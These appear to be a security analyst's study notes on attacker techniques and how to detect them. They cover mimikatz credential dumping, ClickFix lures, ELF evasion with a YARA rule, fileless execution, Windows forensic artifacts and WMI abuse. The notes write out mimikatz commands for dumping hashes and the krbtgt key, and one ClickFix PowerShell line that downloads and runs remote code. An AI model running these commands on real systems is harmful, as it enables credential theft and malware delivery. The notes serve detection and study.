Credential dumping

LSASS

To perform credential dumping mimikatz leverages the Local Security Authority Subsystem Service (LSASS) which is responsible for the authentication of users and security policies. LSASS loads the appropriate authentication packages when a user authenticates into a system and retains it in memory to facilitate access to additional resources. Dependent on the protocol, this includes Kerberos granting tickets (TGTs), service tickets, NT password hashes, etc.

Mimikatz parses the LSASS memory structures for cached tickets, usernames and domains once privileged access is obtained via administrative or SYSTEM level privileges. The sekurlsa module is used to extract credentials stored in memory structures maintained by LSASS, this is either done with a dump of the LSASS memory (sekurlsa::minidump <file>) or directly.

SAM

The lsadump container module is used to target the Security Accounts Manager (SAM) windows registry hive that stores NT password hashes. lsadump::sam, reads data from the SAM and SYSTEM registry hives and extracts local account password hashes.

DCSync

Mimikatz also provides the ability to abuse Active Directory replication mechanisms (lsadump::dcsync). Using the Directory Replication Service Remote Protocol (MS-DRSR), domain controllers synchronized data, replicated password hashes and request updates for directory objects.The tool uses an account that has the rights to replicate directory changes, authenticates to a domain controller, binds it to the DRSUAPI interface and then sends a request specifying target objects (accounts). Once successfully authenticated, the DC provides the requested data which can include Kerberos keys and NT hashes.

ntds.dit

The ntds.dit file is the core Active Directory database stored on domain controllers, it contains directory objects such as users, groups and the credentials that are used for authentication.To obtain access to the file, adversaries often create Volume Shadow Copies and copy the SYSTEM file (_C:\Windows\System32\config\SYSTEM_)from the registry to obtain the Boot Key that is needed to decrypt the ntds.dit file.

Golden Ticket Attack

1. KRBTGT password hash extracted (lsadump::lsa /inject /name:krbtgt)
2. Custom TGT created

A golden ticket attack is a technique that is used by threat actors to forge custom TGTs after the extraction of a KRBTGT account from a DC. The KRBTGT account is a service account that is used by Kerberos to sign and encrypt every TGT in the domain. By compromising the KRBTGT hash, TGTs can be forged for any user.

Pass the Hash

This technique relies on the use of stolen NT hashes to authenticate into a system. NTLM authentication, simply relies on proof of knowledge of a hash for authentication without further verification. This allows the client computer to compute a response with the stolen hash to any challenge the server presents for authentication.

Detection

PowerShell logging

1. Invoke-Mimikatz
2. sekurlsa::logonpasswords
3. Invoke-Expression (iex)
4. Invoke-Kerberoast
5. Add-Type + Base64 encoded string
6. Start-Process <file path> WindowStyle Hidden

Sysmon

1. Sysmon Event ID 10 (Process access) - monitor for unusual processes accessing LSASS memory
2. Sysmon Event ID 1 (Process creation) - monitor for tools like mimikatz.exe, procdump.exe
3. Sysmon Event ID 11 (File Creation) - the creation of .dmp files
4. Sysmon Event ID 8 (CreateRemoteThread) - mimikatz injection
5. Sysmon Event ID 6 (Driver loaded) - unsigned or unusual drivers
6. Sysmon Event ID 7 (Image loaded) - injected modules into LSASS, suspicious DLLs

Sources:

[1] hxxps://tools[.]thehacker.recipes/mimikatz/modules/sekurlsa/minidump

[2] hxxps://tools.thehacker.recipes/mimikatz/modules/lsadump/dcsync

[3] hxxps://jumpcloud.com/it-index/what-is-the-directory-replication-service-remote-protocol

[4] hxxps://book.hacktricks.wiki/en/windows-hardening/stealing-credentials/index.html

[5] hxxps://learn.microsoft.com/en-us/windows-server/security/windows-authentication/credentials-processes-in-windows-authentication

[6] hxxps://learn.microsoft.com/en-us/troubleshoot/windows-server/windows-security/ntlm-user-authentication

Implementation:

User redirected to malicious website -> Fake CAPTCHA pop-up that asks users to follow the instructions to verify themselves -> Malicious command is pasted by user into the Windows Run Dialog box -> Code is executed

User instructions:

1. Ctrl + R - opens the Windows Run Dialog Box
2. Ctrl + V - pastes the malicious command that was saved to the user’s clipboard via the ClipboardAPI
3. Press enter

e.g powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "IEX (Invoke-WebRequest '<URL>')"

MITRE overview:

1. Phishing (T1566)
2. Clipboard manipulation (T1115)
3. Event triggered execution ( T1546)
4. PowerShell execution (T1059.001)
5. Payload download

LummaStealer

LummaStealer (LummaC2) an information stealing malware sold as a malware-as-a-service (MaaS) contributed to the rise of the ClickFlix campaign by using it to deliver the infostealer malware on the devices of victims. Designed to harvest credentials from Chromium based browsers it is typically distributed through phishing emails and communicates with a C2 channel to exfiltrate stolen data.

On May 21, 2025 Microsoft announced the takedown of 2,300 malicious domains that were used as part of the Lumma Stealer infrastructure leading to a noticeable drop in ClickFlix style lures.

FileFlix:

Similar to the ClickFlix technique, this technique lures the user into following instructions and clicking on a button to start “a webpage verification process”, this opens the default file manager on either Windows (File Explorer) or macOS (Finder). The victim is then instructed to paste a file path into the address bar where a PowerShell command is instead copied to the clipboard and executed once the user clicks Enter.

Click BSOD:

This technique displays an animation mimicking the Windows Blue Screen of Death (BSOD) with ‘recovery instructions’ for the user to follow. Once followed a malicious PowerShell command is silently copied to the clipboard and executed.

CrashFlix:

This ClickFlix variant intentionally crashes the browser and presents a fake alert that instructs the user to type in a series of Windows Shortcuts, which copies the malicious code and executes it. Interestingly enough the pop-up implements anti-analysis techniques and prevents users from inspecting the page by blocking keyboard shortcuts for DevTools.

Lessons Learned:

1. Limit user permissions (disable PowerShell for users that don’t need it)
2. Enable PowerShell logging
3. Implement Windows Defender Application Control (WDAC)

Sources:

[1] hxxps[:]//www.proofpoint.com/us/blog/threat-insight/security-brief-clickfix-social-engineering-technique-floods-threat-landscape

[2] hxxps://www.huntress.com/blog/dont-sweat-clickfix-techniques

[3] hxxps://www.microsoft.com/en-us/security/blog/2025/05/21/lumma-stealer-breaking-down-the-delivery-techniques-and-capabilities-of-a-prolific-infostealer/

[4] hxxps://cybersecuritynews.com/new-clickfix-attack-uses-fake-windows-bsod-screens/

[5] hxxps://www.huntress.com/blog/malicious-browser-extention-crashfix-kongtuke

[6] hxxps://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/

The ELF format defines the structure for executables, shared libraries and core dumps in Unix-like systems. From a detection-engineering perspective, it’s important to understand not just how ELF files are supposed to look, but also how malware authors commonly manipulate them to evade static analysis.

ELF files consist of:

1. ELF Header
2. Program Header Table (segments)
3. Section Header Table (sections)
4. Data

ELF file headers contain information about the file like the location of the program, type, entry point address etc. This helps the OS to understand how to load and execute the file.

Oftentimes, attackers tamper with the section header table, the section header defines all the sections contained in the file. Tampering with the section header does not break the malware because the data is not needed by the Linux loader in order to run the program, instead it makes it harder for analysts to understand the file structure because the tools are no longer able to classify the sections of data (functions, strings). At runtime, the OS loads segments (which consist of zero or more sections), defines which parts of the file are mapped into memory and at which virtual addresses, along with its permissions.

Example:

Let’s look at a YARA rule that detects binaries packed with UPX. UPX is an advanced executable file compressor that reduces the file size of programs and DLLs, although used for legitimate purposes it’s also used for malicious purposes.

Because UPX is a packer (packing - a technique where contents of a binary file are compressed or encrypted to make the file smaller or to hide the real code until runtime) it’s used by malware authors to obfuscate their binaries.

rule Detect_UPX_Packed_ELF

{

`meta:`

    `description = "Detects ELF binaries packed with UPX"`

`condition:`

    `uint32(0) == 0x7F454C46 and  // ELF magic`
    `for any s in (".upx0", ".upx1") : ( section.name == s )`

}

UPX packed binaries often have section names ‘.upx0’ and ‘.upx1’, because of this threat actors often remove the section headers or rename these sections to evade detection. So, if there are detection rules that are specifically focused on detecting these binaries via section names, they will ultimately pass through without being detected (weak detection, but it’s fine for example purposes!)

ELF section headers -> (tampered with)-> detection rule fails

Memory Mappings

The loader reads the program header table and maps segments into memory, therefore if the section headers and the metadata is tampered with we can investigate every running process to identify whether there are memory mappings which don’t align with program headers. By inspecting /proc/<pid>/maps and comparing it with the live memory view with readelf -l <binary> we can observe whether the memory regions correspond with each other as dispensaries usually suggest runtime injection, reflective loading etc.

memfd_create Abuse:

The memfd_create system call creates an anonymous (no persistent file system entry and directory linkage), file object that behaves like a regular file that supports standard file operations. This allows the ELF loader to parse it normally and bypass file integrity monitoring while evading disk-based scanning.

1. Download ELF payload into memory
2. Write it to memfd_create
3. Replace current process image with new program (execve())

Sources:

[1] hxxps://wiki.osdev[.]org/ELF

[2] hxxps://linux-audit[.]com/elf-binaries-on-linux-understanding-and-analysis/

[3] hxxps://nu11busters[.]github[.]io/rust-maldev-course/evasion/fileless-execution/

[4] hxxps://www[.]man7[.]org/linux/man-pages/man2/execve.2.html

Application Shimming (T1546.011)

Application shimming is a Windows feature designed to maintain compatibility for older software.

Process:

Program starts - Shim is applied and loaded (if needed)

Adversaries abuse this future by creating malicious shims and linking them to legitimate programs.Shims are designed to run in user mode so they cannot directly change the Windows Kernel, administrator privileges are required to install a shim.

Prefetch

Windows Prefetch files store a record of execution whenever a process is run. So, for every process that is executed, there is a .pf (Prefetch) file that is created. Parsing these files can be easily done with the use of Prefetch Explorer (PECmd.exe). These files contain:

a. Executable name

b. Execution time: the first and last seven execution timestamps (total of 8)

c. Path of the application

d. Execution count

e. List of files/DLLs the application interacted with during the first 10 seconds

Prefetch files were created for the purpose of increasing the speed of application launches by caching the required resources to decrease the need for disk access. The naming convention of these files consist of the executed binary and a hash.

CONHOST.EXE-B0F7681B.pf

As expected, the oldest files are removed first to make space once the maximum number of Prefetch files is reached.Deleting these files or the entire folder itself, generates more artifacts and is really noisy. The details of the deleted files can be found from system logfiles and is easily detectable by security tools. For this reason, it is generally recommended for the Prefetch directory to remain untouched.

Specific to Windows XP (outdated but interesting):

If tampering with .pf files is of interest, stalling an application for more than 10 seconds (due to the mechanism of the cache manager) during startup will cause the captured information to be considerably less.

Later versions of Windows do not limit file access tracing to the first 10 seconds, and executables are monitored during the startup phase instead of a fixed duration.

Shimcache

Shimcache, is part of the Application Compatibility system, which helps applications run on newer systems by storing metadata about executable files. Also known as “AppCompatCache”, shimcache is an artifact that’s used to track programs that have been executed on a system.

It is useful for learning about programs that were present on a system, the location of the program and the timestamp of the file’s last modified time depending on the OS version. Shimcache entries CANNOT reliably be used to prove execution, the cache can only serve as an indicator of a program’s existence because entries are also created when files are viewed, indexed, scanned, etc.

The cache is binary-encoded, viewing the contents can be done so with Forensic tools. Zimmerman’s AppCompatCacheParser, was updated to reflect that execution can sometimes be indicated from the presence of an execution flag for some non-native binaries. Further research from nullsec also proves that additional artifacts are needed in order to rely on the execution value.

Amcache

AmCache is a Windows artifact that stores the metadata of executable files and installed applications, often providing evidence of program execution.The main purpose of the AmCache is to enhance the performance and capability of programs running in different environments.

AmCache.hve file is located at C:\Windows\appcompat\Programs\Amcache.hve

Sources:

[1] nullsec[.]us/windows-10-11-appcompatcache-deep-dive/

[2] nullsec[.]us/appcompatcache-part-3/

[3] 13Cubed - # Let’s Talk About Shimcache - The Most Misunderstood Artifact

Windows Management Instrumentation (WMI) is the infrastructure for management data and operations on Windows-based operating systems. It is used by developers and system administrators to manage and interact with system internals. This also means that it’s abused by attackers in order to move laterally throughout a system, establish fileless persistence and store payloads in memory.

Communication

Traditionally, WMI queries used DCOM via RPC (Remote Procedure Call) which utilized random high ports (Make yourself at home! ). WinRM (Windows Remote Management) was later introduced, this time with only ports 5985 (HTTP) and 5986 (HTTPS) being exposed by default.

Remote queries are executed using WinRM as a protocol to transport requests and responses. Local queries are handled via COM (Component Object Model) in order to interact with WMI providers.

Core Components:

WMI Providers:

A WMI provider is a COM object that provides data to WMI or performs actions on behalf of WMI consumers. They are made up of a DLL file and a Managed Object Format (MOF) file, which are stored in %WINDIR%\System32\Wbem. These providers expose a specific set of classes/instances to consumers and communicate with WMI by using the COM based WMI Provider API.

WMI Infrastructure:

The WMI infrastructure also known as the WMI service (winmgmt), is made up of the WMI Core and WMI repository. The WMI repository stores WMI class definitions, namespaces, static configuration data while the WMI Core is the runtime engine that receives queries, invokes providers and manages data.

Although the WMI service creates some namespaces at system startup, most are created by applications and drivers which makes it important to monitor, such that malicious classes are not created under obscure namespaces.

WMI Consumers:

WMI consumers are any scripts/applications that query WMI or receive WMI events. This could be an EDR agent that is interacting with WMI to query data. The data available to consumers is only accessible via providers.

WmiPrvSE.exe:

WmiPrvSE.exe is the WMI Provider Host which is part of the WMI component. It is a host process that loads and executes WMI provider DLLs.

This means that unlike winmgmt.exe which receives requests, wmiprvse.exe enumerates processes and executes requests.

The WmiPrvSE.exe file is typically located in the directory C:\Windows\System32\wbem. In 32-bit systems, it can also be found in C:\Windows\SysWOW64\wbem.

High CPU Usage:

Oftentimes, WMI gets mistaken for malware because of its high CPU usage from WmiPrvSe.exe, which is often caused by “chatty” or misconfigured applications that use WMI to gather system data. These applications usually use WMI to pull information like running processes, service status, installed drivers etc

Now this can also mean that there’s a malicious script that happens to be repeatedly executing commands but then again it is but only one IOC and should be thoroughly verified.

Suspicious child processes & abnormal commands

From a detection standpoint, all child processes from WmiPrvSe.exe should be monitored. Due to its nature, DLLs and multiple instances are continuously spawned making it a lucrative target for attackers to take advantage of. It is what many would call a LOLBIN.

Example: Remote Command Execution

Running a WMI command such as Invoke-WebRequest, causes Powershell to call the WMI service which calls WmiPrvse.exe making it the parent process that is responsible for the execution.

Powershell.exe -> Wmiprvse.exe -> cmd.exe

1. Command is initiated via Powershell
2. Powershell interacts with WMI on target machine
3. WMI service receives request + command is executed
4. cmd.exe is launched to execute command
5. WMI service sends back response to local machine

Persistence via Event Subscriptions

Event subscriptions allow specific events to be monitored and notified by executing actions automatically when specific events occur.

In order to do so, your subscription must be composed of:

1. Event filter - Criteria that must be met for event to trigger
2. Event Consumer - Action that occurs when conditions are met
3. Binding - Ties the filter to the consumer, ensures that the consumer is executed once the filter condition is met.

WMI event subscriptions are not saved to a permanent location on the disk, making it harder for payloads to be detected by security tools. They can however survive reboots, a mechanism which allows subscriptions to triggered right after system start up making it easier for persistence. This could be done using the WMI __InstanceCreationEvent to run a payload every time a new process/service is created.

Recon

Using the Win32_Process for recon would allow attackers to understand all of the processes running on a system.

Get-CimInstance -ClassName Win32_Process

To get information about the network for lateral movement they would want to use Get-CimInstance -ClassName Win32_ComputerSystem

For user information in AD environments, WMI queries are usually combined with other techniques because WMI is not designed to have access to extensive information from AD and would require domain admin level privileges.

LDAP queries are better suited for interacting with AD services and getting detailed user information whereas WMI queries are suited for information related to a computers local configuration.